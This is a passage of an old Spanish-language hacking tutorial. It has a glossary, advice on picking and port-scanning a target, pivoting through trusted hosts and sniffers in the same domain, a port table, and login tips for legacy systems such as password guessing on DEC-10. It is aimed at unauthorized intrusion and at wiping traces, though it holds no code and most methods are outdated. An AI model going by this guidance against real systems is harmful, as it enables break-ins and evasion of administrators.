Timofonica apetece. En general, es complicado conseguirlo en Espa¤a, pero hay que intentarlo. :->> PIRATA:Persona dedicada a la copia y distribucion de software ilegal, tando software comercial crackeado, como shareware registrado, etc...No hay que confundir en absoluto este termino con el de hacker ya que tal como se ve en las definiciones no tiene nada que ver. PPP: Point-to-point protocol... RFC 1661. PASSWORD CRACKER: Ver CRACKEADOR DE PASSWORD. PGP: Pretty Good Privacy. Necesario cuando os paseis mails "calentitos". Es un programa de encriptacion de llave publica. PHRACK: zine sobre hack muy famosa. PUERTO-PORT: Se define mas adelante en este texto. PORT SCANNER: Programa que te indica que puertos de una maquina estan abiertos. Mas adelante en este texto se explican estos conceptos mas detenidamente. ROOT,administrador, sysop: Persona que tiene control total sobre el sistema y cuyo UID es 0. ROUTER: Maquina de la red que se encarga de encauzar el flujo de paquetes. SNIFFER: Es un programa que monitoriza los paquetes de datos que circulan por una red. Mas claramente, todo lo que circula por la red va en 'paquetes de datos' que el sniffer chequea en busca de informacion referente unas cadenas prefijadas por el que ha instalado el programa. SHELL: Este concepto puede dar lugar a confusion ya que una shell en un sistema unix es un programa que interactua entre el kernel y el usuario mientras que en nuestros ambientes significa el conjunto de login y password.... es decir que si alguien dice que cambia shells ya sabeis a lo que se refiere no? :) SUNOS: Sistema operativo de Sun. SOLARIS: Sistema operativo de Sun. SYSOP: Ver rOOt. TCP/IP: Arquitectura de red con un conjunto de protocolos. Es la que se suele usar en Internet.. para mas info sobre el tema cualquier libro de TCP/IP es valido.. TONELOC: Posiblemente el mejor war dealer (como la cerveza) jeje TRACEAR :Seguir la pista a traves de la red a una informacion o de una persona. UDP: Protocolo de comunicacion que a diferencia del TCP no es orientado a conexion. UNIX: Familia de sistemas operativos que engloba a SunOS, Solaris, irix, etc.. VMS: Sistema operativo. VIRUS: Es un programa que se reproduce a si mismo y que muy posiblemente ataca a otros programas. Crea copias de si mismo y suele da¤ar o joder datos, cambiarlos o disminuir la capacidad de tu sistema disminuyendo la memoria util o el espacio libre. WAR DIALER: Estos son programas (tambien se podria hacer a mano, pero es muy pesado) que realizan llamadas telefonicas en busca de modems. Sirve para buscar maquinas sin hacerlo a traves de internet. Estas maquinas suelen ser muy interesantes ya que no reciben tantos ataques y a veces hay suerte y no estan tan cerradas. ;o) WORM: Ver gusano. WINDOWS : Sistema operativo?? ;-) .. tambien llamado ventanukos. ZAP: Zap es un programa que se usa para borrar las huellas en un sistema. Debido a lo famoso que se ha hecho muchos programas que desarrollan estas funciones se les llama zappers aunque precisamente este no es el mejor ;o) ZINE: Revista electronica Nota: En este texto se va a dar unix por sabido y solo se comentaran los aspectos del unix relacionados con el hacking. 1.- BUSCANDO LA MAQUINA OBJETIVO Y ALGO SOBRE UNIX ORIENTADO AL HACKING. Lo primero que se ha de hacer, como es logico es determinar la maquina objetivo. Esta decision se puede hacer en base a distintos criterios como pueda ser que es una maquina especialmente interesante para ti o que es una maquina que sabes o te han dicho que el rOOt no es un lumbreras. Bien, sea como fuere, suponemos que se ha determinado la maquina objetivo. Tras esto, se ha de recopilar la mayor informacion sobre esa maquina. Lo mejor es empezar haciendo un escaneo de puertos a la maquina, esto consiste en ir haciendo telnet's a todos los puertos de la maquina (normales 1-6000) para ver que programas contestan en cada puerto y su version, o si el puerto esta cerrado. Por ejemplo: con un telnet normal (puerto 23) d eterminaremos el sistema operativo, con un telnet 79 (finger) para obtener informacion, entrar por el netstat (puerto 15 ) si lo tiene abierto (poco usual), mirar si tiene pagina web y que demonio de http usa (puerto 80), mirar la version del sendmail (puerto 25), ver si esta el systat abierto, ver si tiene ftp anonimo en el 21, ver si ofrece nfs o nis, etc. Para esto se necesita un escaneador de puertos de los que hay muchisimos en la red (strobe, portscan, nmap, etc.) Ademas, en caso de que quieras hackear victima1.microsoft.com, en caso de que veas que no puedes hacer nada en esta maquina victima1, te puedes plantear hackear otra del dominio microsoft.com, ya que si consigues root y colocas un sniffer en victima2.microsoft.com ( o quiza con un poco de suerte con el hosts.equiv o el .rhosts) seguramente podras conseguir cuentas en victima1.microsoft.com. Posiblemente, esto no lo entiendas ahora, pero tras leer todo el texto y tener un poco mas claro lo que es un sniffer, como pillar root y demas, posiblemente le encontraras mas sentido a este parrafo :o) Nota para los que vayan un poco verdes en Unix: El fichero hosts.equiv es un fichero que hay en los sistemas unix que indica que maquinas pueden ejecutar comandos remotos en esta maquina sin pedir ni login ni password, es decir, indica las maquinas que son confiables. Igualmente, el fichero .rhosts es un fichero que hay en el HOME de cada usuario que indica las maquinas a las que permite ejecutar un comando remoto sin pedir password. Ademas, os recuerdo que con el comando host puedes obtener una lista de maquinas pertenecientes a un dominio dado y que el comando traceroute muchas veces puede ayudar ( recuerdo que el traceroute muestra el recorrido que hacen los paquetes hasta llegar a la maquina destino). Para todos aquellos que no tienen muy claro lo que son los puertos, TCP, UDP, IP y demas cosas similares pueden ver el TCP IP Illustrated tomo 1 de Stevens o el famoso NETWORKING with TCPIP que ademas creo que tiene el primer tomo traducido al castellano. A continuacion se listan los mas interesantes en principio para las aplicaciones que nos interesan (en los puertos que no ponga nada, se refieren a tcp y los que se refieran a udp se indicara): Numero Servicio Lo que hace de Puerto 9 discard Dev/null--Basura 11 systat Informacion sobre los usuarios 13 La hora y fecha de maquina remota 15 netstat Mucha informacion sobre la red 17/tcp qotd Quote of the Day 19 chargen Generador de caracteres 21 ftp Transferenciadeficheros 22/tcp ssh SSH Remote Login Protocol 23 telnet Loginypass 25 smpt Para crear email. 37 time La hora. 38/tcp rap RouteAccessProtocol 39 rlp Localizacion del recurso 42/tcp name server HostName Server 43 whois Informacion sobre la red objetivo 49/tcp tacacs LoginHostProtocol(TACACS) 50/tcp re-mail-ck RemoteMailCheckingProtocol 53 domain Nombre de la maquina remota 63/tcp whois++ whois++ 69/tcp tftp TrivialFileTransfer 70 gopher Buscador de informacion con bugs ;o) 79 finger Mucha informacion sobre los usuarios 80 http ServidorWeb 88/tcp kerberos Kerberos 107 rtelnet Telnet remoto 109/tcp pop2 PostOfficeProtocol-Version2 110 pop3 Email entrante Version3 111/tcp sunrpc SUN Remote Procedure Call 113/tcp auth Authentication Service 115/tcp sftp Simple File Transfer Protocol 117/tcp uucp-path UUCP Path Service 119 nntp Grupos de noticias Usenet 133/tcp statsrv Statistics Service 136/tcp profile PROFILE Naming System 137/tcp netbios-ns NETBIOSNameService 137/udp netbios-ns NETBIOSNameService 138/tcp netbios-dgm NETBIOSDatagramService 138/udp netbios-dgm NETBIOSDatagramService 139/tcp netbios-ssn NETBIOSSessionService 139/udp netbios-ssn NETBIOSSessionService 143/tcp imap InternetMessageAccessProtocol (xploit remoto jeje) 144/tcp news NewS 161/tcp snmp SNMP 194/tcp irc InternetRelayChatProtocol 213/tcp ipx IPX 220/tcp imap3 InteractiveMailAccessProtocolv3 443 shttp Otro servidor web teoricamente seguro 512/udp biff ndica a los usuarios que han recibido mail 513/tcp rlogin remote login 513/udp who who remoto y da info sobre la carga de la maquina 514/tcp shell Shell remota 514/udp syslog 515/tcp printer spooler 520 route Protocolo de informacion routing 529/tcp irc-serv IRC-SERV Puedes obtener muchas listas de puertos en Internet por lo que os he puesto una lista resumida aunque en realidad con la practica te sueles remitir a un numero mas reducido de puertos pero eso que lo vea cada uno kon la experiencia. Tras saber que conocimientos se deben adquirir, ahora os comento los programas que se deben tener para poder hacer cositas. Bien, lo primero que comentaria es que es mas comodo hackear con unix/linux que con el ventanukos ya que aunque es mas complejo, ofrece muchas mas posibilidades ya que el mismo sistema operativo te ofrece algunas ventajas que no ofrece el windows. No voy a entrar a comentar estas diferencias pero si usas unix, basicamente solo has de pillarte un escaneador de puertos y poco mas. Se ha de recordar que lleva incorporado el compilador de c, perl, la mayoria de los programas de seguridad (satan, cops, iss...) estan disponibles para unix asi como los programas para hackear, y muchas mas kosas que ya iremos descubriendo como el tiempo. Ademas unix te permite comandos interesantes como el host, rpcinfo, los comandos remotos, etc. Ademas, tal y como se ha comentado o comentara a lo largo del texto, la informacion y estar actualizado en bugs y exploits es una de las cosas mas importantes en este mundillo por lo que un consejo es que habitualmente ojeeis las paginas de hack para pillar los ultimos bugs y xploits asi como las listas de correo habilitadas para el respecto (bugtraq, firewall ,etc). Tened en cuenta que la eficacia de un xploit es inversamente proporcional al tiempo que hace que salio asi que no espereis entrar en muchas maquinas con bugs de los a¤os 80, entendeis la idea no?. 2.- INTRODUCCION A DISTINTOS SISTEMAS En este texto se va a hablar de hackear maquinas Unix pero hay que recordar que aparte del Unix tambien existen otros sistemas operativos para mainframes y miniordenadores como el VMS para ordenadores VAX (de la marca DEC, Digital Equipment Corporation), el VM/CMS, VM/ESA, etc para ordenadores IBM, y otros sistemas operativos de menor profileracion. Dentro de los UNIX se puede hacer diferencias: SO Vendedor Procesador Proviene del IRIX Silicon Graphics MIPS Rxx00 System V ULTRIX Digital (viejo) MIPS R2/3000 BSD Digital UNIX Digital (nuevo) System V (?) AIX IBM BSD HP-UX Hewlett Packard PA-RISC System V SCO UNIX SCO Intel x86 FreeBSD (independiente) Intel x86 BSD Linux (independiente) Intel x86 BSD SunOS Sun (viejo) Sparc BSD Solaris Sun (nuevo) Sparc / x86 System V UNICOS Cray OSF/1 DEC Alpha ConvexOS Convex Para entrar en un sistema, lo primero que has de saber es como funciona ya que si no, no podras manejarte en el. Por esto es importante conocer UNIX/LINUX ya que basicamente, conociendo este sistema operativo podras moverte por el resto de sistemas unix aunque de vez en cuando te encuentras de cada cosa por ahi que da miedo. A continuacion se describen algunos sistemas y en algunos se indica la pinta que tienen para poder identificarlos al hacerles un telnet ( Nota: esta info la he pillado de la red y creo que es un poco vieja pero la pongo porque opino que puede servir de algo): VMS - La computadora VAX es creada por Digital Equipment Corporation (DEC) y corre el sistema operativo VMS (virtual memory system). VMS se caracteriza por su prompt 'Username:'. Este sistema no te dira si has entrado un login correcto o no y te desconectara despues de tres malos intentos. Tambien mantiene un record de todos los logins que fallaron e informa al due¤o de la cuenta la proxima vez que entre cuantos intentos fallados se hicieron. Es uno de los sistemas mas seguros desde fuera pero ya dentro tiene varios errores en la seguridad. Las VAX ademas tienen uno de los mejores archivos de ayuda de entre los demas sistemas, para accesar a esta ayuda solo escribe HELP en el prompt. VM/CMS - Este sistema es ejecutado en las super computadoras de IBM (International Business Machines) llamadas mainframes. Una vez conectado a una de estas computadoras te mostrara un mensaje asi "VM/370 ONLINE", y te dara un prompt "." justo como la TOPS-10 lo hace. Para entrar debes ejecutar: LOGON DEC-10 - Operan el sistema operativo TOPS-10. Este tipo de maquinas se reconocen por el prompt "." Las series DEC-10/20 son amables con los hackers permitiendo varios intentos en el login prompt sin guardar un log de los intentos fallados. Las cuentas estan en forma [xxx,yyy]. Lo mejor de este sistema es la posibilidad de obtener informacion sobre las personas en linea antes de entrar a el usando el comando systat. Si ves una cuenta que lea [234,1001] BOB JONES, seria inteligente probar como password BOB, JONES, BOBBY, etc. Para entrar al sistema se usa el comando: login xxx,yyy [enter] password: Este sistema como antes lo habia dicho, permite intentos sin limite y ademas te avisa si el login que estas usando existe. PRIME - Esta computadora opera con el sistema operativo Primos. Son faciles de detectar ya que lo reciben a uno con el mensaje "Primecon xx.xx.xx" o algo parecido dependiendo de la version que te encuentres. Usualmente no ofrecen ningun prompt asi que debes escribir "login ". Si la version es anterior a la 18.00.00 puedes presionar un monton de caracteres de escape o CTRL-C y entraras. Este sistema ofrece la capacida